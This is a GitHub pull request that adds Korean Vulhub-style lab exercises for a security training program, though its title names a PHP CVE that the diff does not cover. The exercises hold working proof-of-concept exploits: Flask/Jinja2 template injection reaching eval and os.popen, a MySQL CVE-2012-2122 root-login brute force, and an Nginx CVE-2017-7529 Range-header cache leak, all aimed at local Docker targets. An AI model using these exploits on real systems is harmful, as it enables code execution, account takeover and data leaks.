Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[임형천/Limguri]: php CVE-2019-11043 분석 코드 및 결과 #170

Open
wants to merge 11 commits into
base: main
Choose a base branch
from
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.DS_Store
1 change: 1 addition & 0 deletions Flask/SSTI/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
__pycache__
Binary file added Flask/SSTI/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Flask/SSTI/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
37 changes: 37 additions & 0 deletions Flask/SSTI/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# Flask (Jinja2) SSTI (Server Side Template Injection)

> [신경방 (@positiveWand)](https://github.com/positiveWand)

<br/>

## 요약

- 서버 탬플릿 엔진은 사용자로부터 요청이 들어올때마다 작성된 템플릿 파일을 렌더링하고 그 결과를 사용자에게 반환한다.
- 서버는 서버에 저장된 데이터, 사용자 요청과 함께 전달받은 데이터 등과 같이 서버에서 사용가능한 데이터들을 이용해 렌더링을 수행한다.
- 이 취약점은 Flask와 Flask에서 사용하는 템플릿 엔진 "Jinja2"를 사용할 때 발생. 사용자가 잘 구성한 렌더링 코드 문자열을 서버에 전달하고 서버가 이 문자열을 그대로 템플릿 엔진에 삽입하여 렌더링을 수행한다면 사용자가 전달한 임의의 Python 코드가 실행될 수 있다.

<br/>

## 환경 구성 및 실행

1. `docker compose up -d` 를 실행하여 테스트 환경을 실행.
2. `http://your-ip:8000/?name={{233*233}}`에 접속하여 54289가 출력되는지 확인하여 SSTI 취약점이 존재함을 확인합니다.
3. `python poc.py`를 실행하여 공격을 수행하는 URL을 확인.
4. 해당 URL에 접속하면 삽입한 코드가 실행되어 서버 프로세스의 id가 출력되는 것을 확인할 수 있음.

+) `poc.py`의 `script` 변수의 값을 원하는 Python 코드로 바꾸면 해당 코드가 서버에서 실행된다.
(기본 코드는 서버 프로세스의 id를 출력하는 코드)

<br/>

## 결과

![poc 실행 이미지](./1.png)

![서버로부터 받은 반환값](./2.png)

<br/>

## 정리

- 이 취약점은 사용자가 서버에서 임의의 코드를 실행하도록 할 수 있게 만들기 때문에 위험하다. 안전한 웹 서비스 운영을 위해서는 서버 개발자가 혹은 라이브러리, 프레임워크에서 사용자가 전달한 데이터가 템플릿 코드인지 확인하여 필터링하거나 사용자 입력 데이터가 실행으로 이어지지 않도록 해야한다.
8 changes: 8 additions & 0 deletions Flask/SSTI/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/flask:1.1.1
volumes:
- ./src:/app
ports:
- "8000:8000"
28 changes: 28 additions & 0 deletions Flask/SSTI/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
from urllib import parse

# 실행할 Python 코드
script = '__import__("os").popen("id").read()'
# 서버에 전달할 템플릿 코드
value = """{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('%s') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}"""
value = value.replace("%s", script)
print("[삽입될 템플릿 코드]")
print(value)
print()

# SSTI를 수행하는 URL
query = [("name", value)]
url = "http://localhost:8000/?"
url = url + parse.urlencode(query) # 삽입할 코드 퍼센트 인코딩하여 쿼리값으로 설정
print("[요청 URL]")
print(url)
print()
14 changes: 14 additions & 0 deletions Flask/SSTI/src/app.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()
2 changes: 1 addition & 1 deletion LICENSE
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
MIT License

Copyright (c) 2023 Gunho Park
Copyright (c) 2023 gunh0 (Gunho Park)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
Expand Down
52 changes: 52 additions & 0 deletions MySQL/CVE-2012-2122/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
# CVE-2012-2122

> [배소정 (@baethwjd2)](https://github.com/baethwjd2)

<br/>

### 요약

- CVE-2012-2122는 MySQL과 MariaDB의 특정 버전에서 발견된 **인증 우회** 취약점
- 특정 버전의 MySQL은 비밀번호의 해시값을 memcmp 함수로 캐스팅하여 인증
- memcmp 함수는 -128 ~ 127 사이의 값을 반환하므로, 잘못된 비밀번호를 입력하더라도 1/256의 확률로 로그인에 성공
- 따라서 임의의 비밀번호로 로그인을 반복함으로써, 악의적인 공격자가 DB의 root 계정을 쉽게 획득 가능

<br/>

### 환경 구성 및 실행

- `docker compose up -d` 커맨드를 입력해 테스트 환경을 실행 (취약점이 보고된 MySQL 5.5.22의 컨테이너 이미지 사용)
- `pip install pymysql` 커맨드로 poc.py 실행을 위한 pymysql 패키지 설치
- `python3 poc.py` 를 실행해 DB의 **root 계정**을 탈취할 수 있음. 유저 정보를 출력하여 root 계정으로 로그인이 됐는지 확인

<br/>

### poc.py

1/256의 확률로 로그인에 성공할 수 있으므로, 충분한 횟수만큼 로그인을 반복 시행한다.

```
for i in range(1, 10001):
password = str(i)
conn = pymysql.connect(user=user, password=password, host=host, port=port, charset='utf8')
```

유저 정보를 확인하여 root 계정 로그인에 성공했음을 확인한다.

```
cursor.execute("SELECT user()")
```

<br/>

### 결과

![](result.png)

<br/>

### 정리

해당 취약점을 통해 공격자는 root를 포함한 특정 사용자 계정에 로그인하여, 인가되지 않은 권한을 획득할 수 있다.

이러한 상황을 방지하기 위해, 가장 먼저 관리자는 DB 서버의 네트워크가 노출되지 않도록 노력해야 한다. 즉, 인가되지 않은 액세스를 차단할 수 있도록 미리 서버를 설정해야 한다. 그리고 주기적으로 서비스 취약점을 모니터링하고 패치해야 한다.
9 changes: 9 additions & 0 deletions MySQL/CVE-2012-2122/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Docker Compose 버전 정의
version: '2'

# Docker Container 정의
services:
mysql:
image: vulhub/mysql:5.5.23 # vulhub/mysql 이미지 사용
ports:
- "3306:3306" # host와 container의 port mapping
35 changes: 35 additions & 0 deletions MySQL/CVE-2012-2122/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
import pymysql


# MySQL 접속 정보
user = "root"
host = "127.0.0.1"
port = 3306


# root 계정 로그인 시도
for i in range(1, 10001):
try:
password = str(i)

conn = pymysql.connect(
user=user, password=password, host=host, port=port, charset="utf8"
)
cursor = conn.cursor()

print(i, "번째 시도 - root 계정 로그인 성공")
break

except:
print(i, "번째 시도 - root 계정 로그인 실패")


# 실제로 root 계정을 획득했는지 확인
cursor.execute("SELECT user()")

for data in cursor:
print("유저 계정:", data[0])


# DB 접속 종료
conn.close()
Binary file added MySQL/CVE-2012-2122/result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
35 changes: 35 additions & 0 deletions Nginx/CVE-2017-7529/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# CVE-2017-7529

> [박건호 (@c0dep1ayer)](https://github.com/c0dep1ayer)

<br/>

### 요약

- Nginx는 리버스 프록시 사이트에서 일부 파일을 캐싱, 특히 정적 파일을 캐싱
- 이 캐시의 일부는 파일에 저장되며, 각 캐시 파일에는 "파일 헤더", "HTTP 응답 헤더", "HTTP 응답 본문"이 포함
- 요청에 Range 헤더가 포함되면 Nginx는 지정된 시작 및 종료 위치에 따라 지정된 길이의 내용을 반환
- 두 개의 음수 위치를 구성하면, 예를 들어 (-600, -9223372036854774591), 음수 위치의 데이터를 읽을 수 있음
- 이 요청이 캐시 파일에 일치하면 캐시 파일 내의 "HTTP 응답 본문" 앞에 있는 "파일 헤더", "HTTP 응답 헤더" 등의 내용을 읽을 수 있음

<br/>

### 환경 구성 및 실행

- `docker compose up -d`를 실행하여 테스트 환경을 실행
- `http://your-ip:8080/`에 접속하여 Nginx 기본 페이지를 확인
- 이 페이지는 실제로 8081 포트의 내용을 리버스 프록시로 전달
- `python3 poc.py http://your-ip:8080/`를 호출하여 반환 결과를 읽음
- 결과에서 "HTTP 응답 본문" 앞에 있는 "파일 헤더", "HTTP 응답 헤더" 등의 내용을 읽을 수 있음

<br/>

### 결과

![](result.png)

<br/>

### 정리

이 취약점은 공격자가 Nginx 서버의 캐시 파일에서 예상치 못한 데이터를 읽을 수 있게 만들어, 정보 유출의 위험이 있다. 안전한 웹 서비스 운영을 위해서는 이러한 취약점을 주기적으로 확인하고 패치하는 것이 중요하다.
28 changes: 28 additions & 0 deletions Nginx/CVE-2017-7529/default.conf
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
proxy_cache_path /tmp/nginx levels=1:2 keys_zone=cache_zone:10m;
proxy_cache_valid 200 10m;

server {
listen 8081;
server_name localhost;

charset utf-8;

location / {
root /usr/share/nginx/html;
index index.html;
}
}
server {
listen 8080;
server_name localhost;

charset utf-8;

location / {
proxy_pass http://127.0.0.1:8081/;
proxy_set_header HOST $host;
proxy_cache cache_zone;
add_header X-Proxy-Cache $upstream_cache_status;
proxy_ignore_headers Set-Cookie;
}
}
8 changes: 8 additions & 0 deletions Nginx/CVE-2017-7529/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
version: "2"
services:
nginx:
image: vulhub/nginx:1.13.2
volumes:
- ./default.conf:/etc/nginx/conf.d/default.conf
ports:
- "8080:8080"
27 changes: 27 additions & 0 deletions Nginx/CVE-2017-7529/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#!/usr/bin/env python
import sys
import requests

# 사용자로부터 입력받은 URL의 인자 개수를 확인
if len(sys.argv) < 2:
# 사용 방법을 출력
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit() # 인자가 부족할 경우 프로그램 종료

# HTTP 요청에 사용할 헤더 설정
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}

offset = 605 # 오프셋 값 설정
url = sys.argv[1] # 사용자로부터 입력받은 URL
file_len = len(requests.get(url, headers=headers).content) # URL의 내용 길이를 가져옴

# Range 헤더를 설정하여 취약점을 이용
n = file_len + offset
headers["Range"] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)

# 설정된 헤더로 URL에 요청을 보냄
r = requests.get(url, headers=headers)
print(r.text) # 응답 내용 출력
Binary file added Nginx/CVE-2017-7529/result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
41 changes: 41 additions & 0 deletions README.assets/logo.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
20 changes: 18 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,18 @@
# whitehat-school-vulhub
차세대 보안리더 양성 프로그램 화이트햇 스쿨 1기 과제 제출 Repository
# Korean Vulhub (한글판)

![logo](./README.assets/logo.svg)

[Vulhub](https://github.com/vulhub/vulhub) (https://vulhub.org/) 을 기반으로 한국어 번역 및 컨텐츠를 추가하는 것을 목표로 공동작업합니다.

차세대 보안리더 양성 프로그램 화이트햇 스쿨 수강생들이 기여하고 있습니다.

<br/>

### Table of Contents

- Flask
- [SSTI](./Flask/SSTI/README.md) | Server Side Template Injection / [신경방 (@positiveWand)](https://github.com/positiveWand)
- MySQL
- [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) | MySQL Authentication Bypass / [배소정 (@baethwjd2)](https://github.com/baethwjd2)
- Nginx
- [CVE-2017-7529](./Nginx/CVE-2017-7529/README.md) | Nginx Integer Overflow Vulnerability / [박건호 (@c0dep1ayer)](https://github.com/c0dep1ayer)
Loading